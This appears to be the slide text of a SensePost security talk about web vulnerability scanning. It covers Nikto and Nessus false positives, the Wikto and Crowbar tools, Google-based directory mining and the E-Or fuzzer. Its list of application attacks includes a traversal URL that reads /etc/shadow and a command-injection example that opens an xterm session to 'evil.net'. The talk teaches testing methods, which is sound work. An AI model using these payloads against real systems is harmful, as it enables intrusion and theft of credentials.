Agenda

Disclaimer

About SensePost
Introduction

Network application level testing

Application testing

Conclusion
Questions
 Introduction
Breaking/Securing networks involves many things:

Network: discovery - dude, where’s my network?

Network level: Exposed services – mostly 80,443

and 25

Network application level: anything between

network level and application level)

Application level: the new frontier – home grown

applications

Content level: worms/virus/(spam) via Email

Others:
Network: Wireless/RAS/3rd party links
Social engineering
 Introduction – why do we worry?

Network: Large companies have large networks. Multiple ISPs,

Internet connections, thousands of domains…in multiple
countries, under the control of many different people speaking
different languages. In many cases they simply DON’T KNOW
what’s out there.

Network app level: The patching game – need we say more?

Application level: Problem lies with developers. Skill level of

attacker are higher than defenders. Defenders are not developers.
Difficult to determine if an app is broken.

Assessing these areas are notoriously difficult

 Network application level

We focus on 80 (HTTP) and 443 (HTTPs)

If you can do 80 then you can do 443 with an SSL relay

This is the CGI scanner’s domain.

Things these scanners search for:
o Sample scripts
o Administrative back-ends and “interesting” files
o Encoding problems
o Sanitization problems in known apps
o XSS in known apps

Scanners work by basically sending a request and inspecting the

response.

Main non-commercial players:

• Nikto (using RFP’s LibWhisker)
• Nessus
 Network application level

Problems with almost all scanners:

Things they don’t do:

• Intelligently looking at responses
• Initial CGI directory mining
• Recursively scan for directories (e.g. /admin/backup/)

Result:
• We miss stuff
• We get load of false positives
• Generally speaking, we can’t perform scans…
 Network application level

Let’s look in more detail.

What’s the problem with testing for 200s?

Web servers can be configured to reply with “friendly 404s”. This

means that we don’t get a proper 404 Not Found but rather a 200
OK when the resource is not found.

The same applies for 302, 301 etc. Does this look familiar:

Over 30 "Moved" messages, this may be a by-product of the server

answering all requests with a "302" or "301" Moved message. You
should manually verify your results.

(Nikto scan ‘breaking’)

 Network application level

Let’s look in more detail.

Nikto: (in the db)

"generic","/cpanel/","200","GET","Web-based control panel“

"generic","/GWWEB.EXE?HELP=bad-request","Could not find file

SYS","GET","Groupwise allows system information and file retrieval by
modifying arguments to the help system. CAN-2002-0341."

The first entry asks for /cpanel/ and will trigger as positive when a
HTTP 200 OK is returned

The second entry looks for “Could not find file SYS” string in the
response.

The second type of test is obviously less prone to false positives.

Unfortunately only +-25% of Nikto DB entries are built like this
 Network application level

How does Nessus do it?

Nessus has a plugin called no404.nasl that tries to address the

problem.

How does no404.nasl work?

It runs before any other CGI type checks. It checks server

response when requesting a non-existent file against a list of
possible responses. If the response match any of the stored
responses it stores the response in the KB. When subsequent
plugins request a CGI, it compares the response to the stored
response in the KB.

So – what’s the problem??

 Network application level

Works fine when server responses for unknown resources are

consistent. But…

• Extension bindings – e.g. .servlet is handled by other subsystem

• Virtual directories - /scripts/ could be passed to other web server.

Thus – no404.nasl is a start, but still breaks too frequently.

We need something that is

• Totally status code independent
• Sensitive to extension
• Sensitive to location
 Network application level

What happens when small things leads to bigger things:

The brief history of Wikto:

• Gareth and his directory miner
• SensePost C# course
• Problems with 302s,403s on directories and recursion. YUK!!
• Per location/directory – store response, and compare

• If this works…why not read Nikto DB?

• Per location/directory, per extension – store response, and
compare
• Let’s call it Wikto – Nikto for Windows…

• Let’s use Google to mine directories?!

• Google? J0hnny Long and the Google Hacks!

 Network application level
Wikto Logic:
1. Analyze request - extract the location and extension
2. Request a nonexistent resource with same location and extension
3. Store the response
4. Request the real resource
5. Compare the responses
6. If the responses match -> negative; else positive.

Example:
1. Nikto DB entry: /scripts/showcode.asp
2. Location: /scripts/, Extension: .asp
3. Request: /scripts/moomoomoo.asp
4. Response is : HTTP 200 OK – your file is not here (friendly)
5. Request: /scripts/showcode.asp
6. Response is : HTTP 200 OK – your file is not here (friendly)
7. Compare content – it’s the same. Test is: negative.
Network application level
Network application level
 Network application level

Challenges faced when building Wikto:

Extraction of location and extension

/scripts/showcode.asp is obvious…but what about
/%c0%af/…/./dosomething=admin?mooblah.mdb

Comparing responses – at the moment Wikto compare is very

basic (but seems to work OKishly)

The rest was fairly easy…

 Network application level
Can we use these techniques to improve Nessus CGI scanning?
YES!

Most plugins use is_cgi_installed_ka to determine if a CGI is there.

Rewrote the function in such a way that:
• It does not look for status codes anymore
• Performs Wikto style checking
• Stores responses in KB – e.g. no need to do dummy requests
again
• Drop-in replacement for function
• Awaiting community feedback…

Results:
• Dramatic improvement on false positives where server responses
differ in terms of location and extension. (18 false positives vs. none)
• KB larger (+-120k per host)
• Slightly slower initial scan
 Network application level

Others cool things that Wikto do:

Mine directories using Google. Amazing results on nice fat corporate
web sites. These are used for input for the backend miner & Wikto.

How does it work?

Google for keyword site: www.corp.com –filetype: XXX where XXX is
asp, php, pl, cgi etc. and keyword is a common word to the site.

Finds files in different directories – mines the directories.

Nice side effect – looks for doc, ppt, xls etc. Maybe these are
indexable?

Why??? Admin backend interface might be sitting at

/fatcorp/admin/login.asp – which you would miss if you didn’t know
that /fatcorp existed.
Network application level
 Network application level

Others cool things that Wikto do:

Google Hacking Data Base (since we are busy with Google).

GHDB is a collection of interesting search terms that yields

interesting results. See http://johhny.ihackstuff.com for more details.

By adding a site: directive to the search we narrow it down to our

target domain.

Example:
Google Search: "Welcome to Intranet“
Description: According to whatis.com: "An intranet is a private network that is contained within an
enterprise. The main purpose of an intranet is to share company information and computing resources among
employees and in general looks like a private version of the Internet." Intranets, by definition should not be
available to the Internet's unwashed masses as they may contain private corporate information.

It now becomes: “Welcome to Intranet” site: fatcorp.com

Network application level

Wikto Demo…
 Brute forcing tools - crowbar
Currently we are stuck with tools that
• Are not generic enough
• Tries to predict the behavior of the system
• Can only perform tests on parameters passed
• Have to PERL it every time
• Positive response not always known

Crowbar (beta)
• Tries to be as generic as possible
• Can brute 2 parameters at a time
• Can brute anything in the request – e.g. parameters, cookie, URL
• Users creates a “base response”
• Uses Wikto content comparison to find “positives”
• User can tune fuzzy logic trigger levels to get only relevant data
Crowbar – BETA!
 Application level
Application level – anything that resides on top of a web server. Most
of the time this is home grown applications.

Why are we worried/excited about web applications:

• Cannot download a patch and apply it
• Firewalls (unless application aware) are useless
• IDS is mostly useless (SSL …and it’s perfectly clean HTTP)
• Difficult to detect even on application layer
• Apps frequently needs to talk to databases….
• Databases & app servers are frequently found on internal nets
• Traditionally, developers and security admins are not friends
 Application level
Information Gathering: Anything that could help one later. Error messages,

File System & Directory Traversal Attacks : Where filename are involved
–e.g. http//duh/showfile.pl?f=../../../etc/shadow

Command Execution: Where you suspect data is passed to an external

process. Use ; | > & && etc. to add your own commands – e.g.
http://duh/ping.pl?target=127.0.0.1;xterm –display evil.net:0.0

SQL & Database Query Injection: Where you suspect your input is handed
to a database e.g. http://duh/news.asp?article=88221

Cross Site Scripting: The application doesn’t properly sanitize output

Trick the server into sending the user code

Impersonation Attacks: Authentication & Authorization

How does the app know who you are? Is each transaction authorized?

Parameter Passing: Cookies, hidden fields, URL strings. Complex

application HAS to keep state somewhere
 Application level
So you want to write a web app scanner?

Get the all possible actions that handle parameters:

• Mirroring problems – logout button, calendars, recursive forms
• Forms that prevent access to parts of application (e.g. login page,
select account)
• State variables…(in forms or as cookies)

Interpret results:
• How do we get the pages back? 302s, frames, flash, etc. etc.
• How do we know when we have broken something? (the view
balance problem)
 Application level
E-Or – a short history

2002-q2: Mieliekoek (corncake): Mirrors site via HTTTrack and finds all
actions that handle parameters. Only searches for SQL injection. Failed for
anything that requires login. Written in PERL. Command line…sucks but
gets lots of “airtime” – as it gets mentioned in SQL insertion worm paper.

2002-q3: MKv2 – the same, but with a horrible GUI interface for Win32.
Interface causes interesting mental problems in sensitive users…

2003-q1: MKX – reads from @stake webproxy file writer logs. Handles
HTTP headers and thus state information. Written in PERL, command line
interface. Fails because of complex parameter selection.

2004-q2: Works starts on project codename WebDonkey. Win32 based,

.NET c#. Beta tests fail, redesign, re-implement, goto 10…

2005-q1: After n iterations we have something that appears to work. Name

changed to E-Or. Still breaks on occasion but shows lots of promise.
 Application level
E-Or – design criteria

User should choose which part of the application to test

User should be manually “mirror” application (e.g. fill in forms)
Using Paros/@stake web proxy file writer to record steps

Ability to disable actions

Ability to hardcode variables to user defined values
Ability to keep variables as they were in the “surf”
Ability to disable variables (actions that use the variable)
Ability to fuzz variables
Ability to configure fuzz strings

Fuzzing via a real browser (IE) – addresses rendering problem

Should be able to view result as text or as screenshots

Movie type view
Ability to replay a fuzz request
 Application level

E-Or – the process

• User walks the target application

• Proxy writes requests and responses to file
• User reads file, configures which actions and variables to fuzz
• User configured state information such as Cookies in HTTP headers
• Each action and variable is fuzzed using IE as a rendering tool
• Screenshots of each reply is taken, rendered text is saved from browser
• User can now watch the responses as a “movie”, pausing anywhere
• User can reply the request
 Application level

E-Or – enough talking – let’s see some action

 Application level

E-Or – enough talking – let’s see some action

 Application level

E-Or – enough talking – let’s see some action

 Application level

E-Or – enough talking – let’s see some action

 Application level

E-Or – enough talking – let’s see some action

 Application level

E-Or – enough talking – let’s see some action

 Application level

E-Or – challenges in implementation

Logic between parameters, values, actions (e.g. the tree views)

Appears that “Cookie” cannot be set in HTTP header via COM
(Cooki…but not Cookie)
How to decide if the browser is done (read redirects, frames)
Screen shots and conversions

Challenges in usability

It is complex to use – but it is a complex problem

Given design constraints it is probably as simple as you can go
 Application level

E-Or – new features (coming soon)

Ability to combine output that are identical (e.g. show only unique
responses)

Search & filter on results (on the text based output)

Fuzzing categories (e.g. Unix specific, Windows specific, SQL

problems, XSS etc.)

Fuzzing each variable per category – e.g. news.asp?id=121. Fuzz id

using certain categories – SQL checks, Windows specific
Application level

E-Or - demo